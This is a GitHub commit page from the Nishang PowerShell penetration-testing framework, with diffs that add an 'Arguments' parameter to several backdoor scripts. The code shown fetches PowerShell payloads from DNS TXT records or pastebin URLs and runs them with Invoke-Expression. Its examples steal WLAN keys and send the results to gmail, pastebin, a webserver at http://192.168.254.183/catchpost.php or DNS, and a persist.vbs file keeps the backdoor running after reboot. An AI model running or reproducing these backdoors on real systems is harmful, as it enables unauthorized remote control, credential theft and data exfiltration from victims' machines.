Skip to content
Permalink
Browse files

Enhancement to Backdoors as per issue #10

  • Loading branch information...
samratashok committed Mar 5, 2015
1 parent 2065f9a commit 82d87a79d11be1b12fff42d3c53c219f4b6149de
Showing with 164 additions and 109 deletions.
  1. +36 −38 Backdoors/DNS_TXT_Pwnage.ps1
  2. +31 −18 Backdoors/Execute-OnTime.ps1
  3. +1 −1 Backdoors/Gupt-Backdoor.ps1
  4. +35 −17 Backdoors/HTTP-Backdoor.ps1
  5. +61 −35 powerpreter/Powerpreter.psm1
@@ -30,6 +30,9 @@ The domain (or subdomain) whose TXT records would be used to issue commands to t
.PARAMETER psdomain
The domain (or subdomain) whose subdomains would be used to provide powershell scripts from TXT records.
.PARAMETER Arguments
Arguments to be passed to a script. Powerpreter and other scripts in Nishang need the function name and arguments here.
.PARAMETER subdomains
The number of subdomains which would be used to provide powershell scripts from their TXT records.
The length of DNS TXT records is assumed to be 255 characters, so more than one subdomains would be required.
@@ -74,32 +77,28 @@ Usually, you should let the Name Server of target to resolve things for you.
Use this parameter for reboot persistence.
Use Remove-Peristence from the Utility folder to clean a target machine.
.PARAMETER NoLoadFunction
This parameter is used for specifying that the script used in txt records $psdomain does NOT load a function.
If the parameter is not specified the payload assumes that the script pulled from txt records would need function name to be executed.
This need not be specified if you are using Nishang scripts with this backdoor.
.EXAMPLE
PS > DNS_TXT_Pwnage
The payload will ask for all required options.
.EXAMPLE
PS > DNS_TXT_Pwnage -StartDomain start.alteredsecurity.com -cmdstring begincommands -CommandDomain command.alteredsecurity.com -psstring startscript -PSDomain script.alteredsecurity.com -Subdomains 3 -StopString stop -AuthNS ns8.zoneedit.com
PS > DNS_TXT_Pwnage -StartDomain start.alteredsecurity.com -cmdstring begincommands -CommandDomain command.alteredsecurity.com -psstring startscript -PSDomain script.alteredsecurity.com -Arguments Get-WLAN-Keys -Subdomains 3 -StopString stop -AuthNS ns8.zoneedit.com
In the above example if you want to execute commands. TXT record of start.alteredsecurity.com
must contain only "begincommands" and command.alteredsecurity.com should conatin a single command
you want to execute. The TXT record could be changed live and the payload will pick up updated
record to execute new command.
To execute a script in above example, start.alteredsecurity.com must contain "startscript". As soon it matches, the payload will query
1.script.alteredsecurity.com, 2.script.alteredsecurity.com and 3.script.alteredsecurity.com looking for a base64encoded powershell script.
Use the Arguments paramter if the downloaded script loads a function.
Use the Out-DnsTxt script in the Utility folder to encode scripts to base64.
.EXAMPLE
PS > DNS_TXT_Pwnage -StartDomain start.alteredsecurity.com -cmdstring begincommands -CommandDomain command.alteredsecurity.com -psstring startscript -PSDomain encscript.alteredsecurity.com -StopString stop -AuthNS ns8.zoneedit.com -exfil -ExfilOption Webserver -URL http://192.168.254.183/catchpost.php
PS > DNS_TXT_Pwnage -StartDomain start.alteredsecurity.com -cmdstring begincommands -CommandDomain command.alteredsecurity.com -psstring startscript -PSDomain script.alteredsecurity.com -Arguments Get-WLAN-Keys -Subdomains 3 -StopString stop -AuthNS ns8.zoneedit.com -exfil -ExfilOption Webserver -URL http://192.168.254.183/catchpost.php
Use above command for sending POST request to your webserver which is able to log the requests.
.EXAMPLE
PS > DNS_TXT_Pwnage -StartDomain start.alteredsecurity.com -cmdstring begincommands -CommandDomain command.alteredsecurity.com -psstring startscript -PSDomain encscript.alteredsecurity.com -StopString stop -AuthNS ns8.zoneedit.com -exfil -ExfilOption Webserver -URL http://192.168.254.183/catchpost.php -persist
PS > DNS_TXT_Pwnage -StartDomain start.alteredsecurity.com -cmdstring begincommands -CommandDomain command.alteredsecurity.com -psstring startscript -PSDomain script.alteredsecurity.com -Arguments Get-WLAN-Keys -Subdomains 3 -StopString stop -AuthNS ns8.zoneedit.com -exfil -ExfilOption Webserver -URL http://192.168.254.183/catchpost.php -persist
Use above for reboot persistence.
.LINK
@@ -116,10 +115,6 @@ https://github.com/samratashok/nishang
[Switch]
$exfil,

[Parameter(Parametersetname="exfil")]
[Switch]
$NoLoadFunction,

[Parameter(Position = 0, Mandatory = $True, Parametersetname="exfil")]
[Parameter(Position = 0, Mandatory = $True, Parametersetname="noexfil")]
[String]
@@ -145,52 +140,57 @@ https://github.com/samratashok/nishang
[String]
$psdomain,

[Parameter(Position = 5, Mandatory = $True, Parametersetname="exfil")]
[Parameter(Position = 5, Mandatory = $True, Parametersetname="noexfil")]
[Parameter(Position = 5, Mandatory = $False, Parametersetname="exfil")]
[Parameter(Position = 5, Mandatory = $False, Parametersetname="noexfil")]
[String]
$Subdomains,
$Arguments = "Out-Null",

[Parameter(Position = 6, Mandatory = $True, Parametersetname="exfil")]
[Parameter(Position = 6, Mandatory = $True, Parametersetname="noexfil")]
[String]
$Subdomains,

[Parameter(Position = 7, Mandatory = $True, Parametersetname="exfil")]
[Parameter(Position = 7, Mandatory = $True, Parametersetname="noexfil")]
[String]
$StopString,

[Parameter(Position = 7, Mandatory = $False, Parametersetname="exfil")]
[Parameter(Position = 7, Mandatory = $False, Parametersetname="noexfil")]
[Parameter(Position = 8, Mandatory = $False, Parametersetname="exfil")]
[Parameter(Position = 8, Mandatory = $False, Parametersetname="noexfil")]
[String]$AuthNS,

[Parameter(Position = 8, Mandatory = $False, Parametersetname="exfil")] [ValidateSet("gmail","pastebin","WebServer","DNS")]
[Parameter(Position = 9, Mandatory = $False, Parametersetname="exfil")] [ValidateSet("gmail","pastebin","WebServer","DNS")]
[String]
$ExfilOption,

[Parameter(Position = 9, Mandatory = $False, Parametersetname="exfil")]
[Parameter(Position = 10, Mandatory = $False, Parametersetname="exfil")]
[String]
$dev_key = "null",

[Parameter(Position = 10, Mandatory = $False, Parametersetname="exfil")]
[Parameter(Position = 11, Mandatory = $False, Parametersetname="exfil")]
[String]
$username = "null",

[Parameter(Position = 11, Mandatory = $False, Parametersetname="exfil")]
[Parameter(Position = 12, Mandatory = $False, Parametersetname="exfil")]
[String]
$password = "null",

[Parameter(Position = 12, Mandatory = $False, Parametersetname="exfil")]
[Parameter(Position = 13, Mandatory = $False, Parametersetname="exfil")]
[String]
$URL = "null",

[Parameter(Position = 13, Mandatory = $False, Parametersetname="exfil")]
[Parameter(Position = 14, Mandatory = $False, Parametersetname="exfil")]
[String]
$DomainName = "null",

[Parameter(Position = 14, Mandatory = $False, Parametersetname="exfil")]
[Parameter(Position = 15, Mandatory = $False, Parametersetname="exfil")]
[String]
$ExfilNS = "null"

)

$body = @'
function DNS-TXT-Logic ($Startdomain, $cmdstring, $commanddomain, $psstring, $psdomain, $Stopstring, $AuthNS, $ExfilOption, $dev_key, $username, $password, $URL, $DomainName, $ExfilNS, $exfil, $LoadFunction)
function DNS-TXT-Logic ($Startdomain, $cmdstring, $commanddomain, $psstring, $psdomain, $Arguments, $Stopstring, $AuthNS, $ExfilOption, $dev_key, $username, $password, $URL, $DomainName, $ExfilNS, $exfil)
{
while($true)
{
@@ -264,17 +264,15 @@ function DNS-TXT-Logic ($Startdomain, $cmdstring, $commanddomain, $psstring, $ps
$cs = New-Object System.IO.Compression.DeflateStream ($ms, [System.IO.Compression.CompressionMode]::Decompress)
$sr = New-Object System.IO.StreamReader($cs)
$command = $sr.readtoend()
# Check for the function loaded by the script.
$preloading = Get-ChildItem function:\
Invoke-Expression $command
$postloading = Get-ChildItem function:\
$diffobj = Compare-Object $preloading $postloading
$FunctionName = $diffobj.InputObject.Name
$pastevalue = Invoke-Expression $FunctionName
if ($NoLoadFunction -eq $True)
$script:pastevalue = Invoke-Expression $command
# Check for arguments to the downloaded script.
if ($Arguments -ne "Out-Null")
{
$pastevalue = Invoke-Expression $command
$pastevalue = Invoke-Expression $Arguments
}
$pastevalue
$exec++
if ($exfil -eq $True)
@@ -383,10 +381,10 @@ function Do-Exfiltration($pastename,$pastevalue,$ExfilOption,$dev_key,$username,
if($persist -eq $True)
{
$name = "persist.vbs"
$options = "DNS-TXT-Logic $Startdomain $cmdstring $commanddomain $psstring $psdomain $Stopstring $AuthNS $LoadFuntion"
$options = "DNS-TXT-Logic $Startdomain $cmdstring $commanddomain $psstring $psdomain $Arguments $Stopstring $AuthNS"
if ($exfil -eq $True)
{
$options = "DNS-TXT-Logic $Startdomain $cmdstring $commanddomain $psstring $psdomain $Stopstring $AuthNS $ExfilOption $dev_key $username $password $URL $DomainName $ExfilNS $exfil $LoadFunction"
$options = "DNS-TXT-Logic $Startdomain $cmdstring $commanddomain $psstring $psdomain $Arguments $Stopstring $AuthNS $ExfilOption $dev_key $username $password $URL $DomainName $ExfilNS $exfil"
}
Out-File -InputObject $body -Force $env:TEMP\$modulename
Out-File -InputObject $exfiltration -Append $env:TEMP\$modulename
@@ -418,11 +416,11 @@ function Do-Exfiltration($pastename,$pastevalue,$ExfilOption,$dev_key,$username,
}
else
{
$options = "DNS-TXT-Logic $Startdomain $cmdstring $commanddomain $psstring $psdomain $Stopstring $AuthNS $LoadFuntion"
$options = "DNS-TXT-Logic $Startdomain $cmdstring $commanddomain $psstring $psdomain $Arguments $Stopstring $AuthNS $LoadFuntion"

if ($exfil -eq $True)
{
$options = "DNS-TXT-Logic $Startdomain $cmdstring $commanddomain $psstring $psdomain $Stopstring $AuthNS $ExfilOption $dev_key $username $password $URL $DomainName $ExfilNS $exfil $LoadFunction"
$options = "DNS-TXT-Logic $Startdomain $cmdstring $commanddomain $psstring $psdomain $Arguments $Stopstring $AuthNS $ExfilOption $dev_key $username $password $URL $DomainName $ExfilNS $exfil $LoadFunction"
}
Out-File -InputObject $body -Force $env:TEMP\$modulename
Out-File -InputObject $exfiltration -Append $env:TEMP\$modulename
@@ -13,6 +13,9 @@ If using DNS or Webserver ExfilOption, use Invoke-Decode.ps1 in the Utility fold
.PARAMETER PayloadURL
The URL from where the file would be downloaded.
.PARAMETER Arguments
Arguments to be passed to a script. Powerpreter and other scripts in Nishang need the function name and arguments here.
.PARAMETER time
The Time when the payload will be executed (in 24 hour format e.g. 23:21).
@@ -55,10 +58,10 @@ Authoritative Name Server for the domain specified in DomainName. Using it may i
Usually, you should let the Name Server of target to resolve things for you.
.EXAMPLE
PS > Execute-OnTime -PayloadURL http://example.com/script.ps1 -Time hh:mm -CheckURL http://pastebin.com/raw.php?i=Zhyf8rwh -StopString stoppayload
PS > Execute-OnTime -PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments Get-Information -Time hh:mm -CheckURL http://pastebin.com/raw.php?i=Zhyf8rwh -StopString stoppayload
EXAMPLE
PS > Execute-OnTime -PayloadURL http://example.com/script.ps1 -Time hh:mm -CheckURL http://pastebin.com/raw.php?i=Zhyf8rwh -StopString stoppayload -exfil -ExfilOption Webserver -URL http://192.168.254.183/catchpost.php
PS > Execute-OnTime PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments Get-Information -Time hh:mm -CheckURL http://pastebin.com/raw.php?i=Zhyf8rwh -StopString stoppayload -exfil -ExfilOption Webserver -URL http://192.168.254.183/catchpost.php
Use above when using the payload from non-interactive shells.
@@ -87,54 +90,59 @@ https://github.com/samratashok/nishang
[String]
$PayloadURL,

[Parameter(Position = 1, Mandatory = $True, Parametersetname="exfil")]
[Parameter(Position = 1, Mandatory = $True, Parametersetname="noexfil")]
[Parameter(Position = 1, Mandatory = $False, Parametersetname="exfil")]
[Parameter(Position = 1, Mandatory = $False, Parametersetname="noexfil")]
[String]
$time,
$Arguments = "Out-Null",

[Parameter(Position = 2, Mandatory = $True, Parametersetname="exfil")]
[Parameter(Position = 2, Mandatory = $True, Parametersetname="noexfil")]
[String]
$CheckURL,
$time,

[Parameter(Position = 3, Mandatory = $True, Parametersetname="exfil")]
[Parameter(Position = 3, Mandatory = $True, Parametersetname="noexfil")]
[String]
$CheckURL,

[Parameter(Position = 4, Mandatory = $True, Parametersetname="exfil")]
[Parameter(Position = 4, Mandatory = $True, Parametersetname="noexfil")]
[String]
$StopString,


[Parameter(Position = 4, Mandatory = $False, Parametersetname="exfil")] [ValidateSet("gmail","pastebin","WebServer","DNS")]
[Parameter(Position = 5, Mandatory = $False, Parametersetname="exfil")] [ValidateSet("gmail","pastebin","WebServer","DNS")]
[String]
$ExfilOption,

[Parameter(Position = 5, Mandatory = $False, Parametersetname="exfil")]
[Parameter(Position = 6, Mandatory = $False, Parametersetname="exfil")]
[String]
$dev_key = "null",

[Parameter(Position = 6, Mandatory = $False, Parametersetname="exfil")]
[Parameter(Position = 7, Mandatory = $False, Parametersetname="exfil")]
[String]
$username = "null",

[Parameter(Position = 7, Mandatory = $False, Parametersetname="exfil")]
[Parameter(Position = 8, Mandatory = $False, Parametersetname="exfil")]
[String]
$password = "null",

[Parameter(Position = 8, Mandatory = $False, Parametersetname="exfil")]
[Parameter(Position = 9, Mandatory = $False, Parametersetname="exfil")]
[String]
$URL = "null",

[Parameter(Position = 9, Mandatory = $False, Parametersetname="exfil")]
[Parameter(Position = 10, Mandatory = $False, Parametersetname="exfil")]
[String]
$DomainName = "null",

[Parameter(Position = 10, Mandatory = $False, Parametersetname="exfil")]
[Parameter(Position = 11, Mandatory = $False, Parametersetname="exfil")]
[String]
$AuthNS = "null"

)

$body = @'
function Logic-Execute-OnTime ($PayloadURL, $time, $CheckURL, $StopString, $ExfilOption, $dev_key, $username, $password, $URL, $DomainName, $AuthNS, $exfil)
function Logic-Execute-OnTime ($PayloadURL, $Arguments, $time, $CheckURL, $StopString, $ExfilOption, $dev_key, $username, $password, $URL, $DomainName, $AuthNS, $exfil)
{
while($true)
@@ -148,6 +156,11 @@ function Logic-Execute-OnTime ($PayloadURL, $time, $CheckURL, $StopString, $Exfi
{
$pastevalue = Invoke-Expression $webclient.DownloadString($PayloadURL)
# Check for arguments to the downloaded script.
if ($Arguments -ne "Out-Null")
{
$pastevalue = Invoke-Expression $Arguments
}
$pastevalue
$exec++
if ($exfil -eq $True)
@@ -255,11 +268,11 @@ function Do-Exfiltration($pastename,$pastevalue,$ExfilOption,$dev_key,$username,
{

$name = "persist.vbs"
$options = "Logic-Execute-OnTime $PayloadURL $time $CheckURL $StopString $dev_key $username $password $keyoutoption $exfil"
$options = "Logic-Execute-OnTime $PayloadURL $Arguments $time $CheckURL $StopString $dev_key $username $password $keyoutoption $exfil"

if ($exfil -eq $True)
{
$options = "Logic-Execute-OnTime $PayloadURL $time $CheckURL $StopString $ExfilOption $dev_key $username $password $URL $DomainName $AuthNS $exfil"
$options = "Logic-Execute-OnTime $PayloadURL $Arguments $time $CheckURL $StopString $ExfilOption $dev_key $username $password $URL $DomainName $AuthNS $exfil"
}
Out-File -InputObject $body -Force $env:TEMP\$modulename
Out-File -InputObject $exfiltration -Append $env:TEMP\$modulename
@@ -291,10 +304,10 @@ function Do-Exfiltration($pastename,$pastevalue,$ExfilOption,$dev_key,$username,
}
else
{
$options = "Logic-Execute-OnTime $PayloadURL $time $CheckURL $StopString $dev_key $username $password $keyoutoption $exfil"
$options = "Logic-Execute-OnTime $PayloadURL $Arguments $time $CheckURL $StopString $dev_key $username $password $keyoutoption $exfil"
if ($exfil -eq $True)
{
$options = "Logic-Execute-OnTime $PayloadURL $time $CheckURL $StopString $ExfilOption $dev_key $username $password $URL $DomainName $AuthNS $exfil"
$options = "Logic-Execute-OnTime $PayloadURL $Arguments $time $CheckURL $StopString $ExfilOption $dev_key $username $password $URL $DomainName $AuthNS $exfil"
}
Out-File -InputObject $body -Force $env:TEMP\$modulename
Out-File -InputObject $exfiltration -Append $env:TEMP\$modulename
@@ -39,7 +39,7 @@ https://github.com/samratashok/nishang
[String]
$MagicString,

[Parameter(Position=3, Mandatory = $False)]
[Parameter(Position=1, Mandatory = $False)]
[String]
$Arguments

0 comments on commit 82d87a7

Please sign in to comment.
You can’t perform that action at this time.